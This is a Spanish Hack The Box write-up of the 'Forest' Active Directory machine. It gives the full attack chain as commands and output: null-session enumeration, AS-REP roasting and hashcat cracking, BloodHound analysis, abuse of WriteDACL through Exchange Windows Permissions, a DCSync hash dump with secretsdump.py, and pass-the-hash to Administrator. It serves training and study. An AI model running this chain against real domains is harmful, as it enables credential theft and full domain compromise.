Forest
Hack The Box — Metodología Detallada
Forest
| IP: | 10.129.95.210 |
| OS: | Windows Server 2016 |
| Dificultad: | Easy |
| Categoría: | Active Directory |
| Fecha: | 29 Ago 2026 |
Reconocimiento
Escaneo inicial de puertos
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.95.210 -oG allPorts
Escaneo de versiones
PORT STATE SERVICE
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
389/tcp open ldap Microsoft Windows AD LDAP (Domain: htb.local)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393
464/tcp open kpasswd5
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows AD LDAP (Domain: htb.local)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: FOREST; OS: Windows
Host script results:
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393
| Computer name: FOREST
| Domain name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2026-08-29T02:01:49-07:00
La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 3268 (Global Catalog) confirma que
FOREST es el Domain Controller del dominio htb.local. El FQDN queda identificado como FOREST.htb.local. El puerto 5985 (WinRM) expuesto representa un vector de acceso remoto una vez obtenidas credenciales válidas. SMBv1 habilitado aunque message signing requerido descarta NTLM Relay.Identificación del dominio
nmblookup -A 10.129.95.210
No reply from 10.129.95.210
El intento de identificacion via NetBIOS no obtuvo respuesta. El dominio ya habia sido confirmado mediante el escaneo de versiones de nmap (
htb.local), por lo que se procedio a agregar la entrada al /etc/hosts y continuar con la enumeracion.Enumeración de Active Directory
Enumeración sin credenciales
SMB anonimo — enumeracion de usuarios
Se evaluo si el servidor admitia autenticacion nula via SMB para enumerar usuarios del dominio sin credenciales previas.
netexec smb 10.129.95.210 -u '' -p '' --users
SMB 10.129.95.210 445 FOREST [*] Windows Server 2016 Standard 14393 x64
(name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
(Null Auth:True) (DC:True)
SMB 10.129.95.210 445 FOREST [+] htb.local\:
El servidor admite autenticacion nula (
Null Auth:True). Se obtuvieron 31 usuarios del dominio sin credenciales. Los usuarios de mayor interes identificados son:| Usuario | Último PW Set | Descripción |
|---|---|---|
Administrator | 2021-08-31 | Built-in administrator |
krbtgt | 2019-09-18 | Key Distribution Center |
sebastien | 2019-09-20 | --- |
lucinda | 2019-09-20 | --- |
svc-alfresco | 2026-08-29 | --- |
andy | 2019-09-22 | --- |
mark | 2019-09-20 | --- |
santi | 2019-09-20 | --- |
SMB anonimo — shares
smbclient -L //10.129.95.210// -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available
No se encontraron shares accesibles anonimamente.
LDAP anonimo
netexec ldap 10.129.95.210 -u '' -p ''
LDAP 10.129.95.210 389 FOREST [*] Windows 10 / Server 2016 Build 14393
(name:FOREST) (domain:htb.local) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.95.210 389 FOREST [+] htb.local\:
LDAP admite autenticacion nula. Se procedio a enumerar usuarios via LDAP para confirmar los resultados previos de SMB.
Identificación de cuentas AS-REP Roastables
Con los usuarios identificados, se evaluo si alguna cuenta tenia la flag
UF_DONT_REQUIRE_PREAUTH activa, condicion necesaria para AS-REP Roasting: si la pre-autenticacion Kerberos esta desactivada, el DC emite un AS-REP cifrado con el hash del usuario sin necesidad de conocer la contrasena, permitiendo crackeo offline.netexec ldap 10.129.95.210 -u '' -p '' --asreproast asrep.txt
LDAP 10.129.95.210 389 FOREST [*] Total of records returned 1
LDAP 10.129.95.210 389 FOREST [email protected]:
2e50291f91749378d7abb6f90a507d3a$...
La cuenta
svc-alfresco tiene la pre-autenticacion Kerberos desactivada. Se obtuvo el hash AS-REP sin autenticacion previa.Crackeo del hash AS-REP
El hash obtenido esta cifrado con el hash NTLM de
svc-alfresco. Al ser tipo RC4 (etype 23), es susceptible a crackeo offline con diccionario. El hash estaba en multiples lineas debido al formato de salida de netexec, lo que impidio la carga directa en hashcat.Primer intento con modo 13100 (TGS): hashcat reporto
Signature unmatched porque AS-REP usa el modo 18200, no 13100. Adicionalmente el hash estaba fragmentado en multiples lineas y hashcat no pudo cargarlo.# Correccion del hash -- unir en una sola linea
tr -d '\n' < asrep.txt > asrep_fixed.txt
# Crackeo con modo correcto (AS-REP = 18200)
hashcat -m 18200 asrep_fixed.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
[email protected]:[...]:s3rvice
Status: Cracked
Time: 0 secs
Vector confirmado: Hash AS-REP de
svc-alfresco crackeado en menos de 1 segundo. Credencial obtenida: svc-alfresco:s3rvice.Enumeración adicional – user-as-password
Se evaluo si algun usuario tenia su propio nombre de usuario como contrasena. Se construyo una wordlist con los usuarios reales del dominio.
kerbrute passwordspray --user-as-pass users.txt -d htb.local \
--dc 10.129.95.210
Done! Tested 6 logins (0 successes) in 0.216 seconds
Ninguna cuenta utiliza su nombre de usuario como contrasena. Vector descartado.
BloodHound — grafo del dominio
Con credenciales validas de
svc-alfresco se procedio a recolectar todos los objetos del dominio mediante bloodhound-python para construir un grafo de ataque completo e identificar rutas de escalada hacia Domain Admin.El binario
bloodhound-python del sistema fallaba por un conflicto de versiones de pyOpenSSL instalado previamente en el directorio .local. El error GEN_EMAIL indicaba que la version 24.0.0 de pyOpenSSL era incompatible con Python 3.14. Se resolvio desinstalando pyOpenSSL del entorno local:pip uninstall pyopenssl -y --break-system-packages
bloodhound-python -u svc-alfresco -p s3rvice \
-dc htb.local -d htb.local -c All \
-ns 10.129.95.210
INFO: Found AD domain: htb.local
INFO: Found 1 domains
INFO: Found 2 computers
INFO: Found 32 users
INFO: Found 76 groups
INFO: Found 2 gpos
INFO: Found 15 ous
INFO: Found 20 containers
INFO: Done in 00M 28S
Se recolectaron 32 usuarios, 76 grupos y 2 computadoras del dominio. Los datos fueron importados a BloodHound CE. La query Shortest Paths to Domain Admins revelo la siguiente cadena de escalada desde
svc-alfresco:| Origen | ACL / Relación | Destino |
|---|---|---|
svc-alfresco | MemberOf | Service Accounts |
| Service Accounts | MemberOf | Privileged IT Accounts |
| Privileged IT Accounts | MemberOf | Account Operators |
| Account Operators | GenericAll | Exchange Windows Permissions |
| Exchange Windows Perm. | WriteDACL | HTB.LOCAL (Dominio) |
| HTB.LOCAL | Contains | Administrator |
Explotación
Acceso inicial — WinRM con credenciales de svc-alfresco
evil-winrm -i 10.129.95.210 -u svc-alfresco -p s3rvice
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt
03d0c6***ec75e
Vector confirmado: Acceso obtenido como
svc-alfresco via WinRM. Flag de usuario: 03d0c6***ec75e.Escalada de Privilegios
Estrategia: abuso de WriteDACL sobre el dominio
BloodHound confirmo que la cadena de escalada requiere:
-
Agregar
svc-alfrescoal grupo Exchange Windows Permissions (posible gracias a que Account Operators tiene GenericAll sobre ese grupo). -
Usar el permiso WriteDACL que ese grupo tiene sobre el dominio para otorgarse derechos de DCSync.
-
Ejecutar DCSync para volcar los hashes del dominio.
Intentos fallidos — problema del token de sesion
Se intento agregar
svc-alfresco al grupo Exchange Windows Permissions y luego aplicar el ACE de DCSync mediante bloodyad y PowerView. Ambas herramientas fallaron con Access is denied de forma consistente.Intento 1 – bloodyad add groupMember desde la maquina atacante
bloodyad -d htb.local -i 10.129.95.210 \
-u svc-alfresco -p 's3rvice' \
-H FOREST.htb.local \
add groupMember 'EXCHANGE WINDOWS PERMISSIONS' svc-alfresco
[+] svc-alfresco added to EXCHANGE WINDOWS PERMISSIONS
El usuario fue agregado al grupo, pero al intentar aplicar el ACE de DCSync con bloodyad add dcsync y Add-DomainObjectAcl via PowerView, ambos retornaron Access is denied. La causa: la sesion WinRM activa tenia un token viejo que no incluia el nuevo grupo.
Intento 2 – PowerView sin -Credential
*Evil-WinRM* PS> . .\PowerView.ps1
*Evil-WinRM* PS> Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' \
-PrincipalIdentity svc-alfresco -Rights DCSync
# Sin output -- ejecuto sin error pero sin efecto
La verificacion confirmo que el ACE no se aplico:
*Evil-WinRM* PS> Get-DomainObjectAcl -DistinguishedName 'DC=htb,DC=local' \
-ResolveGUIDs | Where-Object {$_.IdentityReference -match 'svc-alfresco'}
# Sin output -- el ACE no existe
Intento 3 – PowerView con -Credential
*Evil-WinRM* PS> $pass = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
*Evil-WinRM* PS> $cred = New-Object System.Management.Automation.PSCredential(
'htb.local\svc-alfresco', $pass)
*Evil-WinRM* PS> Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' \
-PrincipalIdentity svc-alfresco -Rights DCSync -Credential $cred -Verbose
Verbose: [Add-DomainObjectAcl] Granting principal
CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local 'DCSync' on DC=htb,DC=local
Verbose: [Add-DomainObjectAcl] Error granting principal
CN=svc-alfresco [...] 'DCSync' on DC=htb,DC=local :
Exception calling "CommitChanges" with "0" argument(s): "Access is denied."
Intento 4 – verificacion del token
Se verifico si el grupo aparecia en el token de la sesion activa:
*Evil-WinRM* PS> whoami /groups | findstr -i exchange
# Sin output -- el grupo no esta en el token
Se confirmo que aunque el usuario habia sido agregado al grupo, la sesion WinRM activa no reflejo el cambio:
*Evil-WinRM* PS> net user svc-alfresco /domain
Global Group memberships *Domain Users *Service Accounts
# Exchange Windows Permissions no aparece en el token
Tras reconectarse, el grupo si aparecio en net user pero el token seguia sin incluirlo en whoami /groups, confirmando que WinRM no genera un logon fresco equivalente al de un login interactivo.
En Windows, los cambios de membresia de grupo no se reflejan en el token de seguridad de una sesion activa hasta que el usuario cierra sesion y se autentica nuevamente con un logon completo. Evil-WinRM no genera ese logon fresco, por lo que el token persiste con los grupos que tenia en el momento de la conexion inicial.
Solucion — usuario nuevo con token fresco
Se creo un usuario nuevo (
avilx) para evitar el problema del token. Un usuario recien creado que se agrega al grupo objetivo antes de su primera autenticacion recibe el token correcto desde el inicio, sin necesidad de reconexion.Paso 1 – Crear usuario y agregarlo al grupo
Desde la sesion de svc-alfresco en Evil-WinRM:
net user avilx abc123! /add /domain
The command completed successfully.
net group "Exchange Windows Permissions" avilx /add
The command completed successfully.
net localgroup "Remote Management Users" avilx /add
The command completed successfully.
Paso 2 – Aplicar DCSync con dacledit.py
Desde la maquina atacante, usando las credenciales del usuario nuevo:
dacledit.py htb.local/avilx:'abc123!' \
-dc-ip 10.129.95.210 \
-principal avilx \
-target-dn 'DC=htb,DC=local' \
-action write \
-rights DCSync
[*] DACL backed up to dacledit-20260829-094435.bak
[*] DACL modified successfully!
El permiso de DCSync fue otorgado exitosamente a
avilx. El usuario nuevo, al autenticarse por primera vez con el grupo ya asignado, tenia el token correcto y pudo modificar el DACL del dominio sin restricciones.Paso 3 – DCSync con secretsdump.py
secretsdump.py htb.local/avilx:'abc123!'@10.129.95.210 -just-dc
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:
32693b11e6aa90eb43d32c72a07ceea6:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:
819af826bb148e603acb0f33d17632f8:::
htb.local\sebastien:1145:...:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:...:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:...:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:...:29dfccaf39618bbad2b25a244b6c2b51:::
htb.local\mark:1151:...:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:...:483d4c70248510d8cc1d284f4160e852:::
Vector confirmado: DCSync exitoso. Se obtuvieron los hashes NTLM de todos los usuarios del dominio. Hash del Administrator:
32693b11e6aa90eb43d32c72a07ceea6.Pass-the-Hash — acceso como Administrator
evil-winrm -i 10.129.95.210 -u Administrator \
-H 32693b11e6aa90eb43d32c72a07ceea6
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
1c64ae***f99f2e
Vector confirmado: Acceso obtenido como
Administrator via Pass-the-Hash. El dominio HTB.LOCAL ha sido completamente comprometido. Flag de root: 1c64ae***f99f2e.Reflexión Final
Qué salió bien
-
La enumeracion sin credenciales fue directa y efectiva: la autenticacion nula via SMB y LDAP permitio identificar usuarios y obtener el hash AS-REP de
svc-alfrescosin credenciales previas. -
Se identifico correctamente que el modo 13100 es para TGS (Kerberoasting) y que AS-REP requiere el modo 18200. El error fue detectado y corregido rapidamente.
-
BloodHound revelo la cadena de escalada completa de forma clara, lo que permitio planificar los pasos antes de ejecutarlos.
-
La solucion del usuario nuevo (
avilx) fue elegante y eficiente: evito el problema del token sin necesidad de herramientas adicionales.
Qué salió mal
-
Se invirtio tiempo considerable intentando aplicar el ACE de DCSync con PowerView y bloodyad directamente con
svc-alfresco, sin entender desde el inicio que el problema era el token de sesion de Windows y no los permisos del usuario. -
El conflicto de versiones de pyOpenSSL roto por instalaciones previas de pip impidio usar bloodhound-python hasta desinstalar la version incompatible del entorno local.
-
Se intento conectar a la IP incorrecta (
10.129.231.186en lugar de10.129.95.210) en varios intentos de Evil-WinRM, perdiendo tiempo hasta identificar el error.
Lecciones aprendidas
-
AS-REP Roasting sin credenciales: primera vez ejecutando este ataque directamente contra el DC sin necesidad de lista de usuarios previa. El hash se obtuvo via autenticacion nula LDAP con netexec. El modo correcto de hashcat es 18200, no 13100 (que es TGS).
-
Problema del token de sesion en Windows: los cambios de membresia de grupo no se reflejan en el token hasta un nuevo login completo. WinRM no genera un logon fresco al reconectarse. La solucion es crear un usuario nuevo que se autentique por primera vez con el grupo ya asignado.
-
WriteDACL sobre el dominio via Exchange Windows Permissions: este es un vector conocido en entornos con Microsoft Exchange instalado. El grupo Exchange Windows Permissions recibe permisos excesivos sobre el dominio durante la instalacion de Exchange, y cualquier usuario que pueda agregarse a ese grupo hereda WriteDACL sobre el dominio completo.
-
Instalar herramientas Python con
pip --break-system-packagespuede romper otras herramientas del sistema por conflictos de versiones. Usarpipxo aislar en entornos virtuales evita estos problemas. -
Verificar la IP de la maquina activa antes de cada comando es un habito critico, especialmente cuando se trabaja con multiples maquinas HTB en paralelo.
Tiempo total
Aproximadamente 50 Minutos (sesion distribuida incluyendo depuracion de herramientas y multiples intentos fallidos de DCSync).